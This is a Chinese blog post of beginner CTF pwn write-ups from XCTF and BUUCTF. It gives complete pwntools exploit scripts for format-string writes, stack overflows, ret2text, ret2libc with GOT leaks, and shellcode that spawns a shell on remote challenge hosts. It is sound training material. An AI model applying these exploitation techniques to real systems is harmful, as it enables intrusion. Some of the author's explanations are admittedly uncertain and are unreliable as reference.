本文最后更新于:2022年2月15日 晚上
写在前面
作为一个半退役的CTF web选手,在大三上学习了编译原理和操作系统原理之后,感觉可以学习pwn了!下面写一下在buu和攻防世界上pwn专题的刷题记录。
攻防世界
1.CGfsb
作为攻防世界pwn新手区的第一题,它的考点是printf函数的格式化字符串漏洞。
利用IDA64进行反编译后,在main函数中,我们发现了以下代码。
1 2 3 4 5 if ( pwnme == 8 ) { puts ("you pwned me, here is your flag:\n" ); system("cat flag" ); }
只要pwnme为8,我们就能获得flag。而在该题中,我们传入的一个参数s将直接作为printf的参数。
1 2 3 fgets(s, 100 , stdin );printf (s);
实际上我们可以往s这个字符串里输入一个格式化的内容,比如 %s
之类的,在c提供的一些格式化符号中,利用 %n
可以实现内存任意写,理论上代码里定义的变量,我们都可以进行修改。
但是由于我十分菜,还不太会写payload,但是pwntools中提供了一个函数fmtstr_payload
,只要我们输入一些参数,pwntools就能帮助我们快速构建payload。
fmstr_payload
需要传递的参数主要是 偏移量offset 和一个字典,字典内部的key表示你要修改的变量的内存地址,value则表示修改后的值。
而这个offset是一个神秘的值,我不太理解它到底是什么,但是能够模仿大佬们的wp知道怎么求出这个值。
使用 AAAA %08x %08x %08x…的方式,找到41414141所在的位置,即offset
和第一种类似,只不过把%08x 换成 %p
实际情况下,%08x或者%p的数量可以多一些,这样某个神秘的指针就会在一次次调用中不断往后,直到找到41414141,即AAAA的ascii值,你就获得了你能够控制的格式化字符串的offset 偏移量。
然后第二个参数字典就非常容易了,在这道题中我们需要改变的pwnme变量的地址是 0x0804A068,然后想要改变为的值是8,我们就这样写来构造payload。
1 payload = fmtstr_payload(10 , {0x080A4068 : 8 })
最终的payload如下。
payload代码
1 2 3 4 5 6 7 8 9 10 11 from pwn import * sh = process('./cgfsb' ) pwnme_addr = 0x0804A068 sh.sendline("wuuconix" ) payload = fmtstr_payload(10 , { pwnme_addr: 8 }) sh.recvuntil("please:\n" ) sh.sendline(payload) sh.interactive()
2.level0
最简单的栈溢出。
栈溢出的思想就是通过程序中没有控制输入的长度,从而超出了某个变量应该限制的范围,影响到了外面的return之类的东西,从而进行程序流的劫持,比如我们把本来return后程序就结束了,然后我们把return的返回地址指导了一个backdoor函数,而这个后门函数一般就是一个shell,我们可以用来 cat flag。
在这道题中,我们利用IDA64可以看到一个vulnerable_function
1 2 3 4 5 ssize_t vulnerable_function () { char buf[128 ]; return read(0 , buf, 0x200 uLL); }
按理说buf字符串的长度应该只有128,但是这个程序却用read读了0x200这么长,即512的长度。
所以我们在把正常buf的内容用随便一些字符覆盖完后,我们就可以进行一些劫持工作了。
在IDA64中双击buf变量,我们可以看到buf的栈使用情况。
我们可以看到buf 有0x80个空间,然后就是一个s和r。
这两个具体是啥我也不太懂,但是我们可以通过覆盖r 中的值从而改变程序流向。
该程序中还存在一个callsystem
函数,很显然,这就是我们期盼的后门函数了。
1 2 3 4 int callsystem () { return system("/bin/sh" ); }
然后我们很容易写出payload脚本如下。
payload代码
1 2 3 4 5 6 7 8 from pwn import * sh = remote("111.200.241.244" , 52435 ) sys_addr = 0x0400596 payload = b"a" * (0x80 + 8 ) + p64(sys_addr) sh.sendline(payload) sh.interactive()
3.level2
这道题便是ctfwiki pwn中basic rop中的ret2libc例1的情况。
链接:基本 ROP - CTF Wiki (ctf-wiki.org)
该题首先对由于read函数读取的字符个数大于变量本身的限制,存在栈溢出。
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; system("echo Input:" ); return read(0 , buf, 0x100 u); }
这道题中和level0不同,level0属于 ret2txt,即return回到已有的代码上,因为上题中的callsystem函数能够直接get shell,我们直接返回到它的地址即可。可惜这道题里没有这样成品的后门函数。
但是从IDA中我们可以看到代码有system函数,也有/bin/sh
这个字符串,我们可以将他们进行按照函数调用的规则入栈,从而get shell。
入栈规则 首先传入system函数的plt地址,然后传入一个返回地址,最后传参数的地址。
这个返回地址我们可以随便写,为了凑足一个字(这道题是32位的,即4个字节),我们可以传4个字符作为返回地址。
这道题的payload代码里,我根据ctfwiki,使用了pwntools中flat函数,它可以让你免于写类似b'a'
和p32
这种煞风景的结构,而自动帮你构建符合要求的payload。
payload代码
1 2 3 4 5 6 7 8 9 from pwn import * sh = remote("111.200.241.244" , 60184 ) system_plt = 0x08048320 binsh_addr = 0x0804A024 payload = flat(['a' * (136 + 4 ), system_plt, 'b' * 4 , binsh_addr]) sh.sendline(payload) sh.interactive()
4.get_shell
突然发现攻防世界的题目顺序每次都在变,那有点狗了。这道明明应该放在第一道的。
nc过去就是shell。以下是它的main函数。
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { puts ("OK,this time we will get a shell." ); system("/bin/sh" ); return 0 ; }
5.hello_pwn
最简单的栈溢出。main函数如下。
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (int a1, char **a2, char **a3) { alarm(0x3C u); setbuf(stdout , 0LL ); puts ("~~ welcome to ctf ~~ " ); puts ("lets get helloworld for bof" ); read(0 , &unk_601068, 0x10 uLL); if ( dword_60106C == 1853186401 ) sub_400686(); return 0LL ; }
利用read函数读了16个字符,而unk_601068这个变量实际上只占4个空间,我们可以影响到栈下面的dword_60106C。把下面那个变量设置为1853186401即可获得flag。
payload代码
1 2 3 4 5 6 7 from pwn import * sh = remote("111.200.241.244" , 49499 ) payload = flat(['a' * 4 , 1853186401 ]) sh.sendline(payload) sh.interactive()
6.guess_num
仍然是栈溢出。但是这道题我不太明白为什么不能直接移除到ret2text的方式,直接去调用cat flag的函数,可能是和该题开启了canary的方式(运行过程中没有报错就挺奇怪的
看了网上的wp,利用溢出去改变随机数的种子,让其产生的随机数固定,然后我们就能成功猜数,通过正常的程序流cat flag。总结一下就是利用栈溢出了,但是没有完全利用。
1 2 3 4 5 -0000000000000030 var_30 db 32 dup (?) -0000000000000010 seed dd 2 dup (?) -0000000000000008 var_8 dq ? +0000000000000000 s db 8 dup (?) +0000000000000008 r db 8 dup (?)
在看wp的过程中,还了解到在python中利用ctypes
能够导入一个libc库从而直接运行c函数,非常牛皮。
payload代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from ctypes import cdllfrom pwn import * sh = remote("111.200.241.244" , 55235 ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) libc.srand(1 ) payload = flat(['a' * 0x20 , 1 ]) sh.sendline(payload)for i in range (10 ): num = str (libc.rand() % 6 + 1 ) sh.recvuntil("number:" ) sh.sendline(num) sh.interactive()
7.int_overflow
本题中有strcpy函数提供栈溢出条件,同时题目设置了一道关卡,必须想到整数溢出通过关卡后才能去利用栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__cdecl check_passwd (char *s) { char dest[11 ]; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Invalid Password" ); return (char *)fflush(stdout ); } else { puts ("Success" ); fflush(stdout ); return strcpy (dest, s); } }
在这道题中,由于payload较长,我们正常写payload可能会写成这样。
1 payload = b'a' * (0x14 + 4 ) + p32(success_plt) + b'a' * 232
如果利用上flat来去掉一些难看的结构,我们可能会写成这样。
1 payload = flat([a * (0x14 + 4 ), success_plt, 'a' * 232 ])
但是这还是非常麻烦,特别是我们要手动算出最后要添加多少个a,来到达260的长度。
所以我现在利用flat函数的高阶用法,利用一个字典来指定第几位是什么值,其他的值就会自动补为a。
1 payload = flat([0x14 + 4 : success_plt, 260 : '1' ])
最终payload代码
1 2 3 4 5 6 7 8 9 10 11 from pwn import * sh = remote("111.200.241.244" , 63700 ) success_plt = 0x0804868B sh.sendlineafter("choice:" , "1" ) sh.sendlineafter("username:\n" , "wuuconix" ) sh.recvuntil("passwd:\n" ) payload = flat({ 0x14 + 4 : success_plt, 260 : '1' }) sh.sendline(payload) sh.interactive()
8.cgpwn2
本题应该属于基本ROP中的ret2libc。没有现成的后门函数,比如system('/bin/sh')
或者system('cat flag')
之类的。
1 2 3 4 int pwn() { return system("echo hehehe" ); }
但是这个后门函数中有system,我们再找到一个/bin/sh字符串就能够去手动调用了。可惜shift+F12,没有找到这个字符串。
我们观察可执行文件的运行流程,它会让我们输入姓名和一条信息,在信息那块有gets造成的栈溢出,而姓名那块我们则可以输入一个/bin/sh来手动把name变成我们需要的字符串。
payload代码
1 2 3 4 5 6 7 8 9 10 11 from pwn import * sh = remote("111.200.241.244" , 62148 ) sh.sendlineafter("name\n" , "/bin/sh" ) sh.recvuntil("here:\n" ) sys_plt = 0x08048420 bin_sh_addr = 0x0804A080 payload = flat({0x26 + 4 : [sys_plt, 'a' * 4 , bin_sh_addr]}) sh.sendline(payload) sh.interactive()
9.string
这道题的流程相比之前所有的题目都要复杂。但是考点实际上只有两个,一个是格式化字符串漏洞,一个是shellcode的构建。
以下是这道题的主要流程
graph TD
main["主函数main<br>包含sub_400996<br>和sub_400D72<br>开局输出了两个secret地址<br>为之后的fmtstr利用"]
sub_400996["sub_400996<br>输出welcom信息"]
sub_400D72["sub_400D72(a1)<br>输入角色名<br>包含sub_400A7D<br>sub_400BB9<br>sub_400CA6(a1)"]
sub_400A7D["sub_400A7D<br>选择east or up<br>必须选择east"]
sub_400BB9["sub_400BB9<br>选择1还是0<br>必须选择1<br>然后提示输入一个地址<br>我们应该输入主函数中提示的secret地址<br>利用格式化字符串漏洞<br>将secret[0]变为85"]
sub_400CA6["sub_400CA6(a1)<br>在成功利用格式化字符串漏洞后<br>输入shellcode执行"]
main-->sub_400996-->sub_400D72
sub_400A7D-->sub_400BB9-->sub_400CA6
以下为程序中的关键代码
1 2 3 4 5 6 7 8 9 puts ("A voice heard in your mind" );puts ("'Give me an address'" ); _isoc99_scanf("%ld" , &v2); puts ("And, you wish is:" ); _isoc99_scanf("%s" , format); puts ("Your wish is" );printf (format);puts ("I hear it, I hear it...." );
1 2 3 4 5 6 7 8 if ( *a1 == a1[1 ] ) { puts ("Wizard: I will help you! USE YOU SPELL" ); v1 = mmap(0LL , 0x1000 uLL, 7 , 33 , -1 , 0LL ); read(0 , v1, 0x100 uLL); ((void (__fastcall *)(_QWORD))v1)(0LL ); }
我在花了很久终于整理出流程并且有了解体思路后,由于我对格式化字符串漏洞不太熟练,之前做 cgfsb 的时候只是用了pwntools中的fmtstr_payload,没有了解具体payload的实现原理,这里便一直无法突破第一关。
1 2 -0000000000000078 var_78 dq ? -0000000000000070 format db ?
这是格式化字符串漏洞那个子函数里栈的情况,format是格式化字符串,var_78则是我们输入的地址。
根据 原理介绍 - CTF Wiki (ctf-wiki.org) 对格式化字符串原理的介绍,当格式化字符串中使用了 %d, %s之类的标记,但是没有指定参数,那么就会从format变量栈上面的变量中取值。所以相当于var_78
已经指明了地址,现在我们的目标是将这个地址里的值变为85,我们可以使用以下payload。
首先这里我们主要利用的%标记是%n,它的功能是将之前输出的字符个数的值存放到对应的地址中,在这里,就会存放到var_78
中,因为没有指定参数。
而这个payload中没有使用n
而是使用了hhd
,它们的区别是写的内存地址的长度,若是%n
,则是向4个字节的内存地址写数据,%hn
则是2个字节,%hhn
则会是1个字节。因为这道题里我们需要改变的两个变量占的空间是8位,即1个字节,故我们这里使用%hhn
。
那为什么%hhn
中间有7$
,这个有点难以解释,我们可以暂且记为偏移量减去1。
然后%85c
用来快速生成85个字符,从而得到85这个数字存往var_78
中,通过第一关。
然后我们可以利用以下代码生成shellcode
1 2 context(arch = "amd64" ) payload = asm(shellcraft.sh())
payload代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch = "amd64" ) sh = remote("111.200.241.244" , 58683 ) secret0 = sh.recvline_startswith("secret[0]" ).decode("utf-8" ).split(" " )[-1 ] sh.sendlineafter("character's name be:" , "wuuconix" ) sh.sendlineafter("east or up?:" , "east" ) sh.sendlineafter("leave(0)?:" , "1" ) sh.sendlineafter("an address'" , str (int (secret0, 16 ))) payload1 = b'%85c%7$hhn' sh.sendlineafter("you wish is:" , payload1) 将v3(a1)变为85 ,和v4(a1 + 1 )一样 payload2 = asm(shellcraft.sh()) sh.sendlineafter("USE YOU SPELL" , payload2) sh.interactive()
10.level3
攻防世界的最后一题啦!题目的流程很简单,就是一个输入,然后就没了,相比第九题string简单许多。
它的考点是ret2libc,利用libc来得到system函数的真实地址和/bin/sh的真实地址,然后调用获得shell。
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; write(1 , "Input:\n" , 7u ); return read(0 , buf, 0x100 u); }
当我们在用C语言编程时,我们都会大量应用库函数,比如printf和scanf等,这些函数都是存在在动态链接库中的。
理论上我们可以使用动态链接库中的任意函数,但是这些函数在内存中的地址在程序运行的一开始是不知道的,这是为了提升效率,只有当真正去调用它的时候,才会进行绑定,这也叫做叫延迟绑定lazy bind
。然后这个绑定后的真实地址会被存在GOT表中。
在这道题中,题目的附件里给了一个libc文件 libc_32.so.6
。它实际上不神秘,它本质上也是一个ELF文件,也能用checksec查看保护情况。
它也能用IDA打开,只不过它的函数特别特别多,我们可以在函数列表用ctrl + F
来搜索我们想要查看的函数。
可以用shift + F12搜索我们想要的字符串。
两个都有,但是它们在IDA里看到的地址并不是程序运行中实际上的地址。
我也不知道在IDA里可以看到的地址应该被称为什么,暂且叫为形式地址 。
这里有一个重要的关系,两个东西的形式地址 的差和两个东西的真实地址 的差是相同的。
因为所有的形式地址我们都是已知的,也就是只要知道了一个东西的真实地址,我们就可以求出其他任何东西的真实地址。
在这道题中的ELF文件中,有write
函数,我们可以利用write函数打印的功能,把自己got表中的内容打印出来从而获得write函数在本次运行中在内存中的真实地址。
1 payload1 = flat({(0x88 + 4 ) : [level3.plt['write' ], level3.symbols['main' ], 1 , level3.got['write' ], 10 ]})
我们首先用plt直接调用write函数,然后之后的参数分别是 返回地址【这里设置为了main,让程序回到开始】,然后是write的三个参数,第一个参数1表示文件句柄,当1是应该会输出到终端,第二个参数就是我们想要输出的东西,第三个参数是输出的最大长度。
然后我们利用截取前4个字节,用u32,反打包为一个值。【u可以理解为unpack, p则是pack】
1 write_addr = u32(sh.recv()[:4 ])
这样我们就获得了write函数的真实地址,从而我们可以获得system和/bin/sh的真实地址。
1 2 sys_addr = write_addr + (libc.symbols['system' ] - libc.symbols['write' ]) bin_sh_addr = write_addr + (0x0015902b - libc.symbols['write' ])
最后调用一波即可。
最终payload代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context(log_level = "debug" ) sh = remote("111.200.241.244" , 63495 ) level3 = ELF("./level3" ) libc = ELF("./libc_32.so.6" ) payload1 = flat({(0x88 + 4 ) : [level3.plt['write' ], level3.symbols['main' ], 1 , level3.got['write' ], 10 ]}) sh.sendlineafter("Input:\n" , payload1) write_addr = u32(sh.recv()[:4 ]) sys_addr = write_addr + (libc.symbols['system' ] - libc.symbols['write' ]) bin_sh_addr = write_addr + (0x0015902b - libc.symbols['write' ]) payload2 = flat({(0x88 + 4 ) : [sys_addr, 0 , bin_sh_addr]}) sh.sendlineafter("Input:\n" , payload2) sh.interactive()
BUUCTF
1.test_your_nc
题如其名,nc后直接获得shell。
2.rip
这道题玄学的很,初学建议跳过这题。
考点就是ret2text,gets栈溢出+现成的后门漏洞直接get shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char s[15 ]; puts ("please input" ); gets(s, argv); puts (s); puts ("ok,bye!!!" ); return 0 ; }int fun () { return system("/bin/sh" ); }
payload代码
1 2 3 4 5 6 7 from pwn import * sh = remote("node4.buuoj.cn" , 26953 ) fun_addr = 0x401186 payload = flat({0xF + 8 : p64(fun_addr + 1 )}) //这道题里必须加p64 平常的题目是不需要加的,地址还要加1 别人说是栈平衡的原因 不太懂 sh.sendline(payload) sh.interactive()
3.warmup_csaw_2016
发现BUUCTF的题里用flat函数构造payload的时候,具体的函数地址都需要封装,比如 flat({10: p64(sys_addr)})
,而在攻防世界里不封装也没问题,挺奇怪的。以后为了保险都写上封装函数吧!
这道题也是最简单的ret2text。不多说。
payload代码
1 2 3 4 5 6 7 from pwn import * sh = remote("node4.buuoj.cn" , 28253 ) flag_addr = 0x40060D payload = flat({ 0x40 + 8 : p64(flag_addr)}) sh.sendline(payload) sh.interactive()
4.ciscn_2019_n_1
还是ret2text。这道题的逻辑是通过gets造成的栈溢出修改一个变量的值,从而顺着程序流程获得flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 int func () { char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag" ); else return puts ("Its value should be 11.28125" ); }
下面是栈情况
1 2 -0000000000000030 var_30 db 44 dup(?) // v1 -0000000000000004 var_4 dd ? // v2
我们需要将var_4里的值变成11.28125。然而我们不知道浮点数在计算机内部是如何表示的。
这时候我们可以在IDA View-A里按空格查看汇编代码。找到汇编里代码里的浮点数表示。
payload代码
1 2 3 4 5 6 7 from pwn import * sh = remote('node4.buuoj.cn' , 26874 ) float_addr = 0x41348000 payload = flat({0x30 - 4 : float_addr}) sh.sendline(payload) sh.interactive()
5.pwn1_sctf_2016
还是ret2text。这道题与众不同的是,它是用c++写的,还用了string这个类,反汇编出来的代码十分反人类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int vuln () { const char *v0; char s[32 ]; char v3[4 ]; char v4[7 ]; char v5; char v6[7 ]; char v7[5 ]; printf ("Tell me something about yourself: " ); fgets (s, 32 , edata); std::string::operator =(&input, s); std::allocator<char >::allocator (&v5); std::string::string (v4, "you" , &v5); std::allocator<char >::allocator (v7); std::string::string (v6, "I" , v7); replace ((std::string *)v3); std::string::operator =(&input, v3, v6, v4); std::string::~string (v3); std::string::~string (v6); std::allocator<char >::~allocator (v7); std::string::~string (v4); std::allocator<char >::~allocator (&v5); v0 = (const char *)std::string::c_str ((std::string *)&input); strcpy (s, v0); return printf ("So, %s\n" , s); }
这道题里用的读入函数是fgets,按理来说是很安全的。但是题目中的逻辑会把字符串中的I变成you,从而将字符串长度变长,再加上strcpy函数的作妖,使得32个字节的s栈溢出。
payload代码
1 2 3 4 5 6 from pwn import * sh = remote('node4.buuoj.cn' , 25003 ) payload = flat({1 : "I" * 21 , 22 : p32(0x08048F0D ) }) sh.sendline(payload) sh.interactive()
6.jarvisoj_level0
和 攻防世界#2level0 重复。最简单的ret2text,不多说。
payload代码
1 2 3 4 5 6 7 from pwn import * sh = remote("node4.buuoj.cn" , 29484 ) sys_addr = 0x0400596 payload = flat({ 0x80 + 8 : p64(sys_addr)}) sh.sendline(payload) sh.interactive()
7.ciscn_2019_c_1
此题和攻防世界 #10level3 一样,属于ret2libc。IDA中没有发现system,也没有/bin/sh字符串。
比level3还更难,因为level3直接提供了libc库文件,这道题里没有,我们需要利用LibcSearcher这个库来查找libc版本号。
这里我使用了 rycbar77/LibcSearcher: 根据函数地址查询libc,可本地或在线查询 (github.com) 维护的LibcSearcher,支持本地和在线查询,作者的安装教程也写的很详细。
程序中大量使用了puts函数来进行输出,一旦puts函数被使用,got表中就会存储其真实地址,于是我们再调用puts函数本身,把自己输出出来,作为查询libc版本的依据。
值得注意的是,由于本地是64位的linux,构造payload传递参数的时候,和32位不同。差别如下。
1 2 3 4 #32 位elf .plt ['puts' ] , 返回地址, 参数地址#64 位 需要利用rdi 寄存器存储参数pop_rdi_addr , 参数地址, elf .plt ['puts' ] , 返回地址
其中pop_rdi_addr 可以用 ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi"
获得。
在获得puts函数的真实地址后,我们利用LibcSearcher查询libc版本,确定版本后,便可以根据两个函数真实地址 的差和两个函数形式地址 的差是相等的这个规律,获得system和/bin/sh的地址。
最后按照64位调用函数的格式调用即可。
这道题最后调用的时候还需要栈对齐,这玩意儿我还不太会,但是其格式就是在pop_rdi_addr前面加上ret的地址,先记住吧。
payload代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import * context.log_level = "debug" sh = remote("node4.buuoj.cn" , 27340 ) ciscn = ELF("./ciscn_2019_c_1" ) sh.sendlineafter("Input your choice!" , "1" ) pop_rdi_addr = 0x00400c83 payload1 = flat({0 : "\0" , 0x50 + 8 : [p64(pop_rdi_addr), p64(ciscn.got['puts' ]), p64(ciscn.plt['puts' ]), p64(ciscn.symbols['main' ])]}) sh.sendlineafter("Input your Plaintext to be encrypted" , payload1) sh.recvuntil("Ciphertext\n\n" ) puts_addr = u64(sh.recvline()[0 : -1 ].ljust(8 , b"\0" )) libc = LibcSearcher("puts" , puts_addr) sys_addr = puts_addr + libc.dump("system" ) - libc.dump("puts" ) str_bin_sh_addr = puts_addr + libc.dump("str_bin_sh" ) - libc.dump("puts" ) ret_addr = 0x004006b9 payload2 = flat({0 : "\0" , 0x50 + 8 : [p64(ret_addr), p64(pop_rdi_addr), p64(str_bin_sh_addr), p64(sys_addr)]}) sh.sendlineafter("Input your choice!" , "1" ) sh.sendlineafter("Input your Plaintext to be encrypted" , payload2) sh.interactive()